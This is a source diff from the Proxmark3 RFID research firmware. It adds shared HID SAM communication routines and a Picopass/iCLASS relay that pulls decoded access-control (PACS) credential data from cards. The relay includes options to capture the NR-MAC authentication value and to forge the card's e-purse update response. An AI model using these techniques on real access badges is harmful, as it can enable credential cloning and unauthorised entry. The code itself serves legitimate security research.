void SendCmdPCF7931(const uint32_t *tab, bool ledcontrol);
bool AddBytePCF7931(uint8_t byte, uint32_t *tab, int32_t l, int32_t p);
bool AddBitPCF7931(bool b, uint32_t *tab, int32_t l, int32_t p);
void SendCmdPCF7931(uint32_t *tab, bool ledcontrol);
bool AddBytePCF7931(uint8_t byte, uint32_t *tab, int8_t offsetPulseWidth, int8_t offsetPulsePosition);
bool AddBitPCF7931(bool b, uint32_t *tab, int8_t offsetPulseWidth, int8_t offsetPulsePosition);
bool AddPatternPCF7931(uint32_t a, uint32_t b, uint32_t c, uint32_t *tab);
void WritePCF7931(uint8_t pass1, uint8_t pass2, uint8_t pass3, uint8_t pass4, uint8_t pass5, uint8_t pass6, uint8_t pass7, uint16_t init_delay, int32_t l, int32_t p, uint8_t address, uint8_t byte, uint8_t data, bool ledcontrol);
void WritePCF7931(uint8_t pass1, uint8_t pass2, uint8_t pass3, uint8_t pass4, uint8_t pass5, uint8_t pass6, uint8_t pass7, uint16_t init_delay, int8_t offsetPulseWidth, int8_t offsetPulsePosition, uint8_t address, uint8_t byte, uint8_t data, bool ledcontrol);
#endif

View file

@ -104,11 +104,13 @@ kvsprintf(char const *fmt, void *arg, int radix, va_list ap) {
num = 0;
d = (char *) arg;
if (fmt == NULL)
if (fmt == NULL) {
fmt = "(fmt null)\n";
}
if (radix < 2 || radix > 36)
if (radix < 2 || radix > 36) {
radix = 10;
}
for (;;) {
padc = ' ';

515
armsrc/sam_common.c Normal file
View file

@ -0,0 +1,515 @@
//-----------------------------------------------------------------------------
// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// See LICENSE.txt for the text of the license.
//-----------------------------------------------------------------------------
// Routines to support MFC <-> SAM communication
//-----------------------------------------------------------------------------
#include <string.h>
#include "sam_common.h"
#include "iclass.h"
#include "proxmark3_arm.h"
#include "BigBuf.h"
#include "commonutil.h"
#include "ticks.h"
#include "dbprint.h"
#include "i2c.h"
#include "iso15693.h"
#include "protocols.h"
/**
* @brief Transmits data to and receives data from a HID®'s iCLASS® SE Processor.
*
* This function sends a specified number of bytes to the SAM and receives a response.
*
* @param data Pointer to the data to be transmitted.
* @param n Number of bytes to be transmitted.
* @param resp Pointer to the buffer where the response will be stored.
* @param resplen Pointer to the variable where the length of the response will be stored.
* @return Status code indicating success or failure of the operation.
*/
int sam_rxtx(const uint8_t *data, uint16_t n, uint8_t *resp, uint16_t *resplen) {
bool res = I2C_BufferWrite(data, n, I2C_DEVICE_CMD_SEND_T0, I2C_DEVICE_ADDRESS_MAIN);
if (res == false) {
DbpString("failed to send to SIM CARD");
goto out;
}
*resplen = ISO7816_MAX_FRAME;
res = sc_rx_bytes(resp, resplen, SIM_WAIT_DELAY);
if (res == false) {
DbpString("failed to receive from SIM CARD");
goto out;
}
if (*resplen < 2) {
DbpString("received too few bytes from SIM CARD");
res = false;
goto out;
}
uint16_t more_len = 0;
if (resp[*resplen - 2] == 0x61 || resp[*resplen - 2] == 0x9F) {
more_len = resp[*resplen - 1];
} else {
// we done, return
goto out;
}
// Don't discard data we already received except the SW code.
// If we only received 1 byte, this is the echo of INS, we discard it.
*resplen -= 2;
if (*resplen == 1) {
*resplen = 0;
}
uint8_t cmd_getresp[] = {0x00, ISO7816_GET_RESPONSE, 0x00, 0x00, more_len};
res = I2C_BufferWrite(cmd_getresp, sizeof(cmd_getresp), I2C_DEVICE_CMD_SEND_T0, I2C_DEVICE_ADDRESS_MAIN);
if (res == false) {
DbpString("failed to send to SIM CARD 2");
goto out;
}
more_len = 255 - *resplen;
res = sc_rx_bytes(resp + *resplen, &more_len, SIM_WAIT_DELAY);
if (res == false) {
DbpString("failed to receive from SIM CARD 2");
goto out;
}
*resplen += more_len;
out:
return res;
}
static inline void swap_clock_counters(volatile unsigned int *a, unsigned int *b) {
unsigned int c = *a;
*a = *b;
*b = c;
}
/**
* @brief Swaps the timer counter values.
*
* AT91SAM7S512 has a single Timer-Counter, that is reused in clocks Ticks
* and CountSspClk. This function stops the current clock and restores previous
* values. It is used to switch between different clock sources.
* It probably makes communication timing off, but at least makes it work.
*/
static void swap_clocks(void) {
static unsigned int tc0, tc1, tc2 = 0;
StopTicks();
swap_clock_counters(&(AT91C_BASE_TC0->TC_CV), &tc0);
swap_clock_counters(&(AT91C_BASE_TC1->TC_CV), &tc1);
swap_clock_counters(&(AT91C_BASE_TC2->TC_CV), &tc2);
}
void switch_clock_to_ticks(void) {
swap_clocks();
StartTicks();
}
void switch_clock_to_countsspclk(void) {
swap_clocks();
StartCountSspClk();
}
/**
* @brief Sends a payload to the SAM
*
* This function prepends the payload with the necessary APDU and application
* headers and sends it to the SAM.
*
* @param addr_src 0x14 for command from NFC, 0x44 for command from application
* @param addr_dest 0x0A for command to SAM
* @param addr_reply same as add_src or 0x00 if no reply is expected
* @param payload Pointer to the data to be sent.
* @param payload_len Length of the data to be sent.
* @param response Pointer to the buffer where the response will be stored.
* @param response_len Pointer to the variable where the length of the response will be stored.
* @param length Length of the data to be sent.
* @return Status code indicating success or failure of the operation.
*/
int sam_send_payload(
const uint8_t addr_src,
const uint8_t addr_dest,
const uint8_t addr_reply,
const uint8_t *const payload,
const uint16_t *payload_len,
uint8_t *response,
uint16_t *response_len
) {
int res = PM3_SUCCESS;
uint8_t *buf = response;
buf[0] = 0xA0; // CLA
buf[1] = 0xDA; // INS (PUT DATA)
buf[2] = 0x02; // P1 (TLV format?)
buf[3] = 0x63; // P2
buf[4] = SAM_TX_ASN1_PREFIX_LENGTH + (uint8_t) * payload_len; // LEN
buf[5] = addr_src;
buf[6] = addr_dest;
buf[7] = addr_reply;
buf[8] = 0x00;
buf[9] = 0x00;
buf[10] = 0x00;
memcpy(
&buf[11],
payload,
*payload_len
);
uint16_t length = SAM_TX_ASN1_PREFIX_LENGTH + SAM_TX_APDU_PREFIX_LENGTH + (uint8_t) * payload_len;
LogTrace(buf, length, 0, 0, NULL, true);
if (g_dbglevel >= DBG_INFO) {
DbpString("SAM REQUEST APDU: ");
Dbhexdump(length, buf, false);
}
if (sam_rxtx(buf, length, response, response_len) == false) {
if (g_dbglevel >= DBG_ERROR)
DbpString("SAM ERROR");
res = PM3_ECARDEXCHANGE;
goto out;
}
LogTrace(response, *response_len, 0, 0, NULL, false);
if (g_dbglevel >= DBG_INFO) {
DbpString("SAM RESPONSE APDU: ");
Dbhexdump(*response_len, response, false);
}
out:
return res;
}
/**
* @brief Retreives SAM firmware version.
*
* Used just as ping or sanity check here.
*
* @return Status code indicating success or failure of the operation.
*/
int sam_get_version(bool info) {
int res = PM3_SUCCESS;
if (g_dbglevel >= DBG_DEBUG) {
DbpString("start sam_get_version");
}
uint8_t *response = BigBuf_calloc(ISO7816_MAX_FRAME);
uint16_t response_len = ISO7816_MAX_FRAME;
uint8_t payload[] = {
0xa0, // <- SAM command
0x02, // <- Length
0x82, 0x00 // <- get version
};
uint16_t payload_len = sizeof(payload);
sam_send_payload(
0x44, 0x0a, 0x44,
payload,
&payload_len,
response,
&response_len
);
// resp:
// c1 64 00 00 00
// bd 11 <- SAM response
// 8a 0f <- get version response
// 80 02
// 01 29 <- version
// 81 06
// 68 3d 05 20 26 b6 <- build ID
// 82 01
// 01
// 90 00
if (g_dbglevel >= DBG_DEBUG) {
DbpString("end sam_get_version");
}
if (response[5] != 0xbd) {
Dbprintf("Invalid SAM response");
goto error;
} else {
uint8_t *sam_response_an = sam_find_asn1_node(response + 5, 0x8a);
if (sam_response_an == NULL) {
if (g_dbglevel >= DBG_ERROR) DbpString("SAM get response failed");
goto error;
}
uint8_t *sam_version_an = sam_find_asn1_node(sam_response_an, 0x80);
if (sam_version_an == NULL) {
if (g_dbglevel >= DBG_ERROR) DbpString(_RED_("SAM: get version failed"));
goto error;
}
uint8_t *sam_build_an = sam_find_asn1_node(sam_response_an, 0x81);
if (sam_build_an == NULL) {
if (g_dbglevel >= DBG_ERROR) DbpString(_RED_("SAM: get firmware ID failed"));
goto error;
}
if (g_dbglevel >= DBG_INFO || info) {
DbpString(_BLUE_("-- SAM Information --"));
Dbprintf(_YELLOW_("Firmware version: ")"%d.%d", sam_version_an[2], sam_version_an[3]);
Dbprintf(_YELLOW_("Firmware ID: "));
Dbhexdump(sam_build_an[1], sam_build_an + 2, false);
}
goto out;
}
error:
res = PM3_ESOFT;
out:
BigBuf_free();
if (g_dbglevel >= DBG_DEBUG) {
DbpString("end sam_get_version");
}
return res;
}
int sam_get_serial_number(void) {
int res = PM3_SUCCESS;
if (g_dbglevel >= DBG_DEBUG) {
DbpString("start sam_get_serial_number");
}
uint8_t *response = BigBuf_calloc(ISO7816_MAX_FRAME);
uint16_t response_len = ISO7816_MAX_FRAME;
uint8_t payload[] = {
0xa0, // <- SAM command
0x02, // <- Length
0x96, 0x00 // <- get serial number
};
uint16_t payload_len = sizeof(payload);
sam_send_payload(
0x44, 0x0a, 0x44,
payload,
&payload_len,
response,
&response_len
);
//resp:
//c1 64 00 00 00
// bd 0e <- SAM response
// 8a 0c <- get serial number response
// 61 01 13 51 22 66 6e 15 3e 1b ff ff
//90 00
if (g_dbglevel >= DBG_DEBUG) {
DbpString("end sam_get_serial_number");
}
if (response[5] != 0xbd) {
Dbprintf("Invalid SAM response");
goto error;
} else {
uint8_t *sam_response_an = sam_find_asn1_node(response + 5, 0x8a);
if (sam_response_an == NULL) {
if (g_dbglevel >= DBG_ERROR) DbpString(_RED_("SAM: get response failed"));
goto error;
}
uint8_t *sam_serial_an = sam_response_an + 2;
if (sam_serial_an == NULL) {
if (g_dbglevel >= DBG_ERROR) DbpString(_RED_("SAM get serial number failed"));
goto error;
}
Dbprintf(_YELLOW_("Serial Number: "));
Dbhexdump(sam_response_an[1], sam_serial_an, false);
goto out;
}
error:
res = PM3_ESOFT;
out:
BigBuf_free();
if (g_dbglevel >= DBG_DEBUG) {
DbpString("end sam_get_serial_number");
}
return res;
}
/**
* @brief Finds an ASN.1 node of a specified type within a given root node.
*
* This function searches through a single level of the ASN.1 structure starting
* from the root node to find a node of the specified type.
*
* @param root Pointer to the root node of the ASN.1 structure.
* @param type The type of the ASN.1 node to find.
* @return Pointer to the ASN.1 node of the specified type if found, otherwise NULL.
*/
uint8_t *sam_find_asn1_node(const uint8_t *root, const uint8_t type) {
const uint8_t *end = (uint8_t *) root + *(root + 1);
uint8_t *current = (uint8_t *) root + 2;
while (current < end) {
if (*current == type) {
return current;
} else {
current += 2 + *(current + 1);
}
}
return NULL;
}
/**
* @brief Appends an ASN.1 node to the end of a given node.
*
* This function appends an ASN.1 node of a specified type and length to the end of
* the ASN.1 structure at specified node level.
*
* It is the most naive solution that does not handle the case where the node to append is
* not the last node at the same level. It also does not also care about proper
* order of the nodes.
*
* @param root Pointer to the root node of the ASN.1 structure.
* @param root Pointer to the node to be appended of the ASN.1 structure.
* @param type The type of the ASN.1 node to append.
* @param data Pointer to the data to be appended.
* @param len The length of the data to be appended.
*/
void sam_append_asn1_node(const uint8_t *root, const uint8_t *node, uint8_t type, const uint8_t *const data, uint8_t len) {
uint8_t *end = (uint8_t *) root + *(root + 1) + 2;
*(end) = type;
*(end + 1) = len;
memcpy(end + 2, data, len);
for (uint8_t *current = (uint8_t *) root; current <= node; current += 2) {
*(current + 1) += 2 + len;
};
return;
}
void sam_send_ack(void) {
uint8_t *response = BigBuf_calloc(ISO7816_MAX_FRAME);
uint16_t response_len = ISO7816_MAX_FRAME;
uint8_t payload[] = { 0xa0, 0 };
uint16_t payload_len = sizeof(payload);
sam_send_payload(
0x44, 0x0a, 0x00,
payload,
&payload_len,
response,
&response_len
);
BigBuf_free();
}
/**
* @brief Copies the payload from an NFC buffer to a SAM buffer.
*
* Wraps received data from NFC into an ASN1 tree, so it can be transmitted to the SAM .
*
* @param sam_tx Pointer to the SAM transmit buffer.
* @param nfc_rx Pointer to the NFC receive buffer.
* @param nfc_len Length of the data to be copied from the NFC buffer.
*
* @return Length of SAM APDU to be sent.
*/
uint16_t sam_copy_payload_nfc2sam(uint8_t *sam_tx, uint8_t *nfc_rx, uint8_t nfc_len) {
// NFC resp:
// 6f 0c 84 0a a0 00 00 04 40 00 01 01 00 01 90 00 fb e3
// SAM req:
// bd 1c
// a0 1a
// a0 18
// 80 12
// 6f 0c 84 0a a0 00 00 04 40 00 01 01 00 01 90 00 fb e3
// 81 02
// 00 00
const uint8_t payload[] = {
0xbd, 4,
0xa0, 2,
0xa0, 0
};
const uint8_t tag81[] = {
0x00, 0x00
};
memcpy(sam_tx, payload, sizeof(payload));
sam_append_asn1_node(sam_tx, sam_tx + 4, 0x80, nfc_rx, nfc_len);
sam_append_asn1_node(sam_tx, sam_tx + 4, 0x81, tag81, sizeof(tag81));
return sam_tx[1] + 2; // length of the ASN1 tree
}
/**
* @brief Copies the payload from the SAM receive buffer to the NFC transmit buffer.
*
* Unpacks data to be transmitted from ASN1 tree in APDU received from SAM.
*
* @param nfc_tx_buf Pointer to the buffer where the NFC transmit data will be stored.
* @param sam_rx_buf Pointer to the buffer containing the data received from the SAM.
* @return Length of NFC APDU to be sent.
*/
uint16_t sam_copy_payload_sam2nfc(uint8_t *nfc_tx_buf, uint8_t *sam_rx_buf) {
// SAM resp:
// c1 61 c1 00 00
// a1 10 <- nfc command
// a1 0e <- nfc send
// 80 10 <- data
// 00 a4 04 00 0a a0 00 00 04 40 00 01 01 00 01 00
// 81 02 <- protocol
// 00 04
// 82 02 <- timeout
// 01 F4
// 90 00
// NFC req:
// 0C 05 DE 64
// copy data out of c1->a1>->a1->80 node
uint16_t nfc_tx_len = (uint8_t) * (sam_rx_buf + 10);
memcpy(nfc_tx_buf, sam_rx_buf + 11, nfc_tx_len);
return nfc_tx_len;
}

53
armsrc/sam_common.h Normal file
View file

@ -0,0 +1,53 @@
//-----------------------------------------------------------------------------
// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// See LICENSE.txt for the text of the license.
//-----------------------------------------------------------------------------
#ifndef __SAM_COMMON_H
#define __SAM_COMMON_H
#include "common.h"
static const uint8_t SAM_TX_APDU_PREFIX_LENGTH = 5;
static const uint8_t SAM_TX_ASN1_PREFIX_LENGTH = 6;
static const uint8_t SAM_RX_ASN1_PREFIX_LENGTH = 5;
int sam_rxtx(const uint8_t *data, uint16_t n, uint8_t *resp, uint16_t *resplen);
void switch_clock_to_ticks(void);
void switch_clock_to_countsspclk(void);
int sam_send_payload(
const uint8_t addr_src,
const uint8_t addr_dest,
const uint8_t addr_reply,
const uint8_t *const payload,
const uint16_t *payload_len,
uint8_t *response,
uint16_t *response_len
);
int sam_get_version(bool info);
int sam_get_serial_number(void);
uint8_t *sam_find_asn1_node(const uint8_t *root, const uint8_t type);
void sam_append_asn1_node(const uint8_t *root, const uint8_t *node, uint8_t type, const uint8_t *const data, uint8_t len);
void sam_send_ack(void);
uint16_t sam_copy_payload_nfc2sam(uint8_t *sam_tx, uint8_t *nfc_rx, uint8_t nfc_len);
uint16_t sam_copy_payload_sam2nfc(uint8_t *nfc_tx_buf, uint8_t *sam_rx_buf);
#endif

View file

@ -16,7 +16,7 @@
// Routines to support MFC <-> SAM communication
//-----------------------------------------------------------------------------
#include "sam_mfc.h"
#include "sam_seos.h"
#include "sam_common.h"
#include "iclass.h"
#include "proxmark3_arm.h"

View file

@ -17,5 +17,6 @@
#define __SAM_MFC_H
#include "common.h"
#include "sam_common.h"
#endif

View file

@ -16,6 +16,7 @@
// Routines to support Picopass <-> SAM communication
//-----------------------------------------------------------------------------
#include "sam_picopass.h"
#include "sam_common.h"
#include "iclass.h"
#include "crc16.h"
#include "proxmark3_arm.h"
@ -29,419 +30,393 @@
#include "protocols.h"
#include "optimized_cipher.h"
#include "fpgaloader.h"
#include "pm3_cmd.h"
static int sam_rxtx(const uint8_t *data, uint16_t n, uint8_t *resp, uint16_t *resplen) {
/**
* @brief Sends a request to the SAM and retrieves the response.
*
* Unpacks request to the SAM and relays ISO15 traffic to the card.
* If no request data provided, sends a request to get PACS data.
*
* @param request Pointer to the buffer containing the request to be sent to the SAM.
* @param request_len Length of the request to be sent to the SAM.
* @param response Pointer to the buffer where the retreived data will be stored.
* @param response_len Pointer to the variable where the length of the retreived data will be stored.
* @return Status code indicating success or failure of the operation.
*/
static int sam_send_request_iso15(const uint8_t *const request, const uint8_t request_len, uint8_t *response, uint8_t *response_len, const bool shallow_mod, const bool break_on_nr_mac, const bool prevent_epurse_update) {
int res = PM3_SUCCESS;
if (g_dbglevel >= DBG_DEBUG) {
DbpString("start sam_send_request_iso14a");
}
StartTicks();
bool res = I2C_BufferWrite(data, n, I2C_DEVICE_CMD_SEND_T0, I2C_DEVICE_ADDRESS_MAIN);
if (res == false) {
DbpString("failed to send to SIM CARD");
uint8_t *buf1 = BigBuf_calloc(ISO7816_MAX_FRAME);
uint8_t *buf2 = BigBuf_calloc(ISO7816_MAX_FRAME);
if (buf1 == NULL || buf2 == NULL) {
res = PM3_EMALLOC;
goto out;
}
*resplen = ISO7816_MAX_FRAME;
uint8_t *sam_tx_buf = buf1;
uint16_t sam_tx_len;
res = sc_rx_bytes(resp, resplen, SIM_WAIT_DELAY);
if (res == false) {
DbpString("failed to receive from SIM CARD");
goto out;
}
uint8_t *sam_rx_buf = buf2;
uint16_t sam_rx_len;
if (*resplen < 2) {
DbpString("received too few bytes from SIM CARD");
res = false;
goto out;
}
uint8_t *nfc_tx_buf = buf1;
uint16_t nfc_tx_len;
uint16_t more_len = 0;
uint8_t *nfc_rx_buf = buf2;
uint16_t nfc_rx_len;
if (resp[*resplen - 2] == 0x61 || resp[*resplen - 2] == 0x9F) {
more_len = resp[*resplen - 1];
if (request_len > 0) {
sam_tx_len = request_len;
memcpy(sam_tx_buf, request, sam_tx_len);
} else {
// we done, return
goto out;
// send get pacs
static const uint8_t payload[] = {
0xa0, 19, // <- SAM command
0xBE, 17, // <- samCommandGetContentElement2
0x80, 1,
0x04, // <- implicitFormatPhysicalAccessBits
0x84, 12,
0x2B, 0x06, 0x01, 0x04, 0x01, 0x81, 0xE4, 0x38, 0x01, 0x01, 0x02, 0x04 // <- SoRootOID
};
sam_tx_len = sizeof(payload);
memcpy(sam_tx_buf, payload, sam_tx_len);
}
// Don't discard data we already received except the SW code.
// If we only received 1 byte, this is the echo of INS, we discard it.
*resplen -= 2;
if (*resplen == 1) {
*resplen = 0;
sam_send_payload(
0x44, 0x0a, 0x44,
sam_tx_buf, &sam_tx_len,
sam_rx_buf, &sam_rx_len
);
if (sam_rx_buf[1] == 0x61) { // commands to be relayed to card starts with 0x61
switch_clock_to_countsspclk();
// tag <-> SAM exchange starts here
while (sam_rx_buf[1] == 0x61) {
uint32_t start_time = GetCountSspClk();
uint32_t eof_time = start_time + DELAY_ICLASS_VICC_TO_VCD_READER;
nfc_tx_len = sam_copy_payload_sam2nfc(nfc_tx_buf, sam_rx_buf);
bool is_cmd_check = ((nfc_tx_buf[0] & 0x0F) == ICLASS_CMD_CHECK);
if (is_cmd_check && break_on_nr_mac) {
memcpy(response, nfc_tx_buf, nfc_tx_len);
*response_len = nfc_tx_len;
if (g_dbglevel >= DBG_INFO) {
DbpString("NR-MAC: ");
Dbhexdump((*response_len) - 1, response + 1, false);
}
res = PM3_SUCCESS;
goto out;
}
bool is_cmd_update = ((nfc_tx_buf[0] & 0x0F) == ICLASS_CMD_UPDATE);
if (is_cmd_update && prevent_epurse_update && nfc_tx_buf[0] == 0x87 && nfc_tx_buf[1] == 0x02) {
// block update(2) command and fake the response to prevent update of epurse
// NFC TX BUFFERS PREPARED BY SAM LOOKS LIKE:
// 87 02 #1(C9 FD FF FF) #2(FF FF FF FF) F4 BF 98 E2
// NFC RX BUFFERS EXPECTED BY SAM WOULD LOOK LIKE:
// #2(FF FF FF FF) #1(C9 FD FF FF) 3A 47
memcpy(nfc_rx_buf + 0, nfc_tx_buf + 6, 4);
memcpy(nfc_rx_buf + 4, nfc_tx_buf + 0, 4);
AddCrc(nfc_rx_buf, 8);
nfc_rx_len = 10;
if (g_dbglevel >= DBG_INFO) {
DbpString("FAKE EPURSE UPDATE RESPONSE: ");
Dbhexdump(nfc_rx_len, nfc_rx_buf, false);
}
} else {
if (g_dbglevel >= DBG_INFO) {
DbpString("ISO15 TAG REQUEST: ");
Dbhexdump(nfc_tx_len, nfc_tx_buf, false);
}
int tries = 3;
nfc_rx_len = 0;
while (tries-- > 0) {
iclass_send_as_reader(nfc_tx_buf, nfc_tx_len, &start_time, &eof_time, shallow_mod);
uint16_t timeout = is_cmd_update ? ICLASS_READER_TIMEOUT_UPDATE : ICLASS_READER_TIMEOUT_ACTALL;
res = GetIso15693AnswerFromTag(nfc_rx_buf, ISO7816_MAX_FRAME, timeout, &eof_time, false, true, &nfc_rx_len);
if (res == PM3_SUCCESS && nfc_rx_len > 0) {
break;
}
start_time = eof_time + ((DELAY_ICLASS_VICC_TO_VCD_READER + DELAY_ISO15693_VCD_TO_VICC_READER + (8 * 8 * 8 * 16)) * 2);
}
if (res != PM3_SUCCESS) {
res = PM3_ECARDEXCHANGE;
goto out;
}
if (g_dbglevel >= DBG_INFO) {
DbpString("ISO15 TAG RESPONSE: ");
Dbhexdump(nfc_rx_len, nfc_rx_buf, false);
}
}
switch_clock_to_ticks();
sam_tx_len = sam_copy_payload_nfc2sam(sam_tx_buf, nfc_rx_buf, nfc_rx_len);
sam_send_payload(
0x14, 0x0a, 0x14,
sam_tx_buf, &sam_tx_len,
sam_rx_buf, &sam_rx_len
);
// last SAM->TAG
// c1 61 c1 00 00 a1 02 >>82<< 00 90 00
if (sam_rx_buf[7] == 0x82) {
// tag <-> SAM exchange ends here
break;
}
switch_clock_to_countsspclk();
}
static const uint8_t hfack[] = {
0xbd, 0x04, 0xa0, 0x02, 0x82, 0x00
};
sam_tx_len = sizeof(hfack);
memcpy(sam_tx_buf, hfack, sam_tx_len);
sam_send_payload(
0x14, 0x0a, 0x00,
sam_tx_buf, &sam_tx_len,
sam_rx_buf, &sam_rx_len
);
}
uint8_t cmd_getresp[] = {0x00, ISO7816_GET_RESPONSE, 0x00, 0x00, more_len};
// resp for SamCommandGetContentElement:
// c1 64 00 00 00
// bd 09
// 8a 07
// 03 05 <- include tag for pm3 client
// 06 85 80 6d c0 <- decoded PACS data
// 90 00
res = I2C_BufferWrite(cmd_getresp, sizeof(cmd_getresp), I2C_DEVICE_CMD_SEND_T0, I2C_DEVICE_ADDRESS_MAIN);
if (res == false) {
DbpString("failed to send to SIM CARD 2");
goto out;
// resp for samCommandGetContentElement2:
// c1 64 00 00 00
// bd 1e
// b3 1c
// a0 1a
// 80 05
// 06 85 80 6d c0
// 81 0e
// 2b 06 01 04 01 81 e4 38 01 01 02 04 3c ff
// 82 01
// 07
// 90 00
if (request_len == 0) {
if (!(sam_rx_buf[5] == 0xbd && sam_rx_buf[5 + 2] == 0x8a && sam_rx_buf[5 + 4] == 0x03) &&
!(sam_rx_buf[5] == 0xbd && sam_rx_buf[5 + 2] == 0xb3 && sam_rx_buf[5 + 4] == 0xa0)) {
if (g_dbglevel >= DBG_ERROR) {
Dbprintf("No PACS data in SAM response");
}
res = PM3_ESOFT;
}
}
more_len = 255 - *resplen;
res = sc_rx_bytes(resp + *resplen, &more_len, SIM_WAIT_DELAY);
if (res == false) {
DbpString("failed to receive from SIM CARD 2");
goto out;
if (sam_rx_buf[6] == 0x81 && sam_rx_buf[8] == 0x8a && sam_rx_buf[9] == 0x81) { //check if the response is an SNMP message
*response_len = sam_rx_buf[5 + 2] + 3;
} else { //if not, use the old logic
*response_len = sam_rx_buf[5 + 1] + 2;
}
*resplen += more_len;
if (sam_rx_buf[5] == 0xBD && sam_rx_buf[4] != 0x00) { //secure channel flag is not 0x00
Dbprintf(_YELLOW_("Secure channel flag set to: ")"%02x", sam_rx_buf[4]);
}
memcpy(response, sam_rx_buf + 5, *response_len);
goto out;
out:
StopTicks();
return res;
}
// using HID SAM to authenticate w PICOPASS
int sam_picopass_get_pacs(void) {
static uint8_t act_all[] = { ICLASS_CMD_ACTALL };
static uint8_t identify[] = { ICLASS_CMD_READ_OR_IDENTIFY, 0x00, 0x73, 0x33 };
static uint8_t read_conf[] = { ICLASS_CMD_READ_OR_IDENTIFY, 0x01, 0xfa, 0x22 };
uint8_t select[] = { 0x80 | ICLASS_CMD_SELECT, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
uint8_t read_aia[] = { ICLASS_CMD_READ_OR_IDENTIFY, 0x05, 0xde, 0x64};
uint8_t read_check_cc[] = { 0x80 | ICLASS_CMD_READCHECK, 0x02 };
picopass_hdr_t hdr = {0};
// Bit 4: K.If this bit equals to one, the READCHECK will use the Credit Key (Kc); if equals to zero, Debit Key (Kd) will be used
// bit 7: parity.
// if (use_credit_key)
// read_check_cc[0] = 0x10 | ICLASS_CMD_READCHECK;
BigBuf_free_keep_EM();
clear_trace();
I2C_Reset_EnterMainProgram();
StopTicks();
uint8_t *resp = BigBuf_calloc(ISO7816_MAX_FRAME);
bool shallow_mod = false;
uint16_t resp_len = 0;
int res;
uint32_t eof_time = 0;
// wakeup
Iso15693InitReader();
uint32_t start_time = GetCountSspClk();
iclass_send_as_reader(act_all, 1, &start_time, &eof_time, shallow_mod);
res = GetIso15693AnswerFromTag(resp, ISO7816_MAX_FRAME, ICLASS_READER_TIMEOUT_ACTALL, &eof_time, false, true, &resp_len);
if (res != PM3_SUCCESS) {
res = PM3_ECARDEXCHANGE;
goto out;
}
// send Identify
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
iclass_send_as_reader(identify, 1, &start_time, &eof_time, shallow_mod);
// expect a 10-byte response here, 8 byte anticollision-CSN and 2 byte CRC
res = GetIso15693AnswerFromTag(resp, ISO7816_MAX_FRAME, ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
if (res != PM3_SUCCESS || resp_len != 10) {
res = PM3_ECARDEXCHANGE;
goto out;
}
// copy the Anti-collision CSN to our select-packet
memcpy(&select[1], resp, 8);
// select the card
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
iclass_send_as_reader(select, sizeof(select), &start_time, &eof_time, shallow_mod);
// expect a 10-byte response here, 8 byte CSN and 2 byte CRC
res = GetIso15693AnswerFromTag(resp, ISO7816_MAX_FRAME, ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
if (res != PM3_SUCCESS || resp_len != 10) {
res = PM3_ECARDEXCHANGE;
goto out;
}
// store CSN
memcpy(hdr.csn, resp, sizeof(hdr.csn));
// card selected, now read config (block1) (only 8 bytes no CRC)
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
iclass_send_as_reader(read_conf, sizeof(read_conf), &start_time, &eof_time, shallow_mod);
// expect a 8-byte response here
res = GetIso15693AnswerFromTag(resp, ISO7816_MAX_FRAME, ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
if (res != PM3_SUCCESS || resp_len != 10) {
res = PM3_ECARDEXCHANGE;
goto out;
}
// store CONFIG
memcpy((uint8_t *)&hdr.conf, resp, sizeof(hdr.conf));
uint8_t pagemap = get_pagemap(&hdr);
if (pagemap == PICOPASS_NON_SECURE_PAGEMODE) {
res = PM3_EWRONGANSWER;
goto out;
}
// read App Issuer Area block 5
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
iclass_send_as_reader(read_aia, sizeof(read_aia), &start_time, &eof_time, shallow_mod);
// expect a 10-byte response here
res = GetIso15693AnswerFromTag(resp, ISO7816_MAX_FRAME, ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
if (res != PM3_SUCCESS || resp_len != 10) {
res = PM3_ECARDEXCHANGE;
goto out;
}
// store AIA
memcpy(hdr.app_issuer_area, resp, sizeof(hdr.app_issuer_area));
// card selected, now read e-purse (cc) (block2) (only 8 bytes no CRC)
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod);
// expect a 8-byte response here
res = GetIso15693AnswerFromTag(resp, ISO7816_MAX_FRAME, ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
if (res != PM3_SUCCESS || resp_len != 8) {
res = PM3_ECARDEXCHANGE;
goto out;
}
// store EPURSE
memcpy(hdr.epurse, resp, sizeof(hdr.epurse));
// -----------------------------------------------------------------------------
// SAM comms
// -----------------------------------------------------------------------------
size_t sam_len = 0;
uint8_t *sam_apdu = BigBuf_calloc(ISO7816_MAX_FRAME);
// -----------------------------------------------------------------------------
// first
// a0 da 02 63 1a 44 0a 44 00 00 00 a0 12 ad 10 a0 0e 80 02 00 04 81 08 9b fc a4 00 fb ff 12 e0
hexstr_to_byte_array("a0da02631a440a44000000a012ad10a00e800200048108", sam_apdu, &sam_len);
memcpy(sam_apdu + sam_len, hdr.csn, sizeof(hdr.csn));
sam_len += sizeof(hdr.csn);
if (sam_rxtx(sam_apdu, sam_len, resp, &resp_len) == false) {
res = PM3_ECARDEXCHANGE;
goto out;
}
